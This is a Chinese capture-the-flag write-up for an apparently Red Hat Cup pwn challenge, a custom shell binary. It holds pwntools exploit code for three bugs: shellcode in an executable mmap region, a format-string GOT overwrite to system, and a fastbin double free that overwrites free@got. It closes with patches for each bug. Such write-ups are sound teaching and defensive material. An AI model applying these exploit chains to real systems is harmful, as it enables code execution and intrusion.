今年红帽杯给web题恶心到了,刚备份的代码已经有某国企的3个不死马,不知道如何做到这么快的,题目质量也堪忧,跟去年的没法比。比赛过程花太多时间在web,都没好好看看pwn,其实很简单,血亏T_T….
保护情况
1 | Arch: amd64-64-little |
程序分析
1 | void __fastcall main(__int64 a1, char **a2, char **a3) |
看样子是一个自己实现的shell,至于有哪些命令,可以下个断点去看看,发现只有ls touch rm su sh exit
6个命令。
shellcode
程序本来是开启了NX,不过留意一下初始化的函数:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42for ( i = 0; i <= 5; ++i )
qword_202100[i] = (__int64)malloc(0x14uLL);
v0 = qword_202100[0];
*(_WORD *)qword_202100[0] = 'sl';
*(_BYTE *)(v0 + 2) = 0;
v1 = qword_202108;
*(_DWORD *)qword_202108 = 'cuot';
*(_WORD *)(v1 + 4) = 104;
v2 = qword_202110;
*(_DWORD *)qword_202110 = 'tixe';
*(_BYTE *)(v2 + 4) = 0;
v3 = qword_202118;
*(_WORD *)qword_202118 = 'mr';
*(_BYTE *)(v3 + 2) = 0;
v4 = qword_202120;
*(_WORD *)qword_202120 = 'us';
*(_BYTE *)(v4 + 2) = 0;
v5 = qword_202128;
*(_WORD *)qword_202128 = 'hs';
*(_BYTE *)(v5 + 2) = 0;
v6 = time(0LL);
srand(v6);
v7 = rand();
src = (char *)mmap(
(void *)(((v7 + 16) << 12) + (unsigned int)((unsigned int)((v7 + 16) << 12) >= 0xFFFFFFFF)),
0x1000uLL,
7,
50,
-1,
0LL);
v8 = src;
*(_QWORD *)src = '$4�\x01\v eh';
*((_QWORD *)v8 + 1) = 'no�H\x01\x01\x01\x01';
*((_QWORD *)v8 + 2) = 'HPeineD ';
*((_QWORD *)v8 + 3) = 'ssimreP�';
*((_QWORD *)v8 + 4) = '_\x01jX\x01jPi';
*((_QWORD *)v8 + 5) = '\x05\x0F��HZ\x13j';
*((_WORD *)v8 + 24) = '��';
v8[50] = 0;
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
可以留意到程序初始化了几个命令,并且将src的内存段mmap了,那么src可以执行shellcode。然后转到su()
看看1
2
3
4
5
6
7
8
9
10
11
12
13
14dest = s2;
memset(&s, 0, 0x7D0uLL);
printf("Please input verify code:", 0LL);
get_str(src, 2018);
for ( i = 0; i <= 1999 && src[i]; ++i )
{
if ( !(src[i] & 1) && src[i] != 2 )
{
puts("invalid");
return __readfsqword(0x28u) ^ v4;
}
}
strcpy(dest, src);
puts("check passed,enjoy!");
这里可以对src
进行写入,直接写shellcode好了。
1 | def foo1(): |
格式化字符串
输错命令就可以直接触发漏洞,这里可以用来泄露程序基址,libc基址和stack地址1
2
3
4
5
6
7
8
9
10
11
12
13def leak_elf():
p.sendlineafter(">>>","%8$p")
init_addr = int(p.recv(14),16)
init_offset = 0x56427404f3c0 - 0x56427404e000
elf.base = init_addr - init_offset
success('elf.base:%s' %hex(elf.base))
def leak_libc():
p.sendlineafter(">>>","%9$p")
libc_start_main_addr = int(p.recv(14),16)
libc_start_main_offset = libc.symbols["__libc_start_main"]
libc.base = libc_start_main_addr - libc_start_main_offset - 0xf0
success('libc.base:%s' %hex(libc.base))
由于字符串存在bss段,利用方法比较麻烦,思路是利用stack上的地址进行跳转,修改printf@got.plt1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24leak_elf()
leak_libc()
rbp_addr = leak_stack() - 0xe8
success('rbp_addr:%s' %hex(rbp_addr))
#step1:overwrite stack to stack # printf@got.plt 0x202048
payload = hn((rbp_addr+0x28) & 0xffff,(6+0x5)) # 0x7ffe2168cb48 -> 0x7ffe2168ca88
payload += hn(2,6+0x13)
p.sendlineafter('>>>',payload+'\x00')
#step2:overwrite stack to printf@got.plt
payload = hhn((elf.got['printf'] >> 16 & 0xff),6+0x21)
payload += hn((elf.got['printf'] & 0xffff)-(elf.got['printf'] >> 16 & 0xff),6+0x1f)
p.sendlineafter('>>>',payload+'\x00')
#step3:overwrite stack to stack
payload = hn((rbp_addr+0x40) & 0xffff,(6+0x5))
payload += hn(2,6+0x13)
p.sendlineafter('>>>',payload+'\x00')
#step4:overwrite stack to printf@got.plt+2
payload = hhn((elf.got['printf']+2 >> 16 & 0xff),6+0x21)
payload += hn((elf.got['printf']+2 & 0xffff)-(elf.got['printf']+2 >> 16 & 0xff),6+0x1f)
p.sendlineafter('>>>',payload+'\x00')
#step5:overwrite printf@got.plt to system@plt
payload = hhn((libc.symbols['system'] >> 16 & 0xff),6+0xa)
payload += hn((libc.symbols['system'] & 0xffff)-(libc.symbols['system'] >> 16 & 0xff),6+0x7)
p.sendlineafter('>>>',payload+'\x00')
fastbin attach
malloc的大小可控,可以用fastbin dup来修改free@got.plt
由于固定输入读取长度是90,可以直接溢出。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29def touch(size,content):
p.sendlineafter(">>>","touch")
p.sendlineafter("Size:",str(size))
p.sendlineafter("content:",content)
p.recvuntil('\n',timeout=0.5)
def ls():
p.sendlineafter(">>>","ls")
def rm(idx):
p.sendlineafter(">>>","rm")
p.sendlineafter("Index:",str(idx))
def foo2():
leak_elf()
leak_libc()
touch(0x10,'0') #0
touch(0x10,'1') #1
touch(0x10,'cat /flag\x00')
rm(0)
rm(1)
rm(0)
fake = elf.address + 0x202018 - 0x1e
touch(0x10,p64(fake))
touch(0x10,'2')
touch(0x10,'3')
touch(0x10,'\x00'*0xe+p64(libc.symbols['system']))
rm(2)
p.recv()
patch方法
shellcode:
直接修改shellcode的输入长度1
2printf("Please input verify code:", 0LL);
get_str(src, 16);
double free:
修改检查标识位校验,防止double free1
2
3
4if ( v1 >= 0 && v1 <= 9 && *(_QWORD *)&used_tag[2 * v1] )
{
free((void *)file_list[v1]);
used_tag[v1] = 0;
格式化字符串:
printf
改 puts
1
2puts(s2);
printf(" :command not found!", a2);
总结
不知道还有没有其他的利用方法,有大佬知道的麻烦告知。最后说一句,垃圾比赛~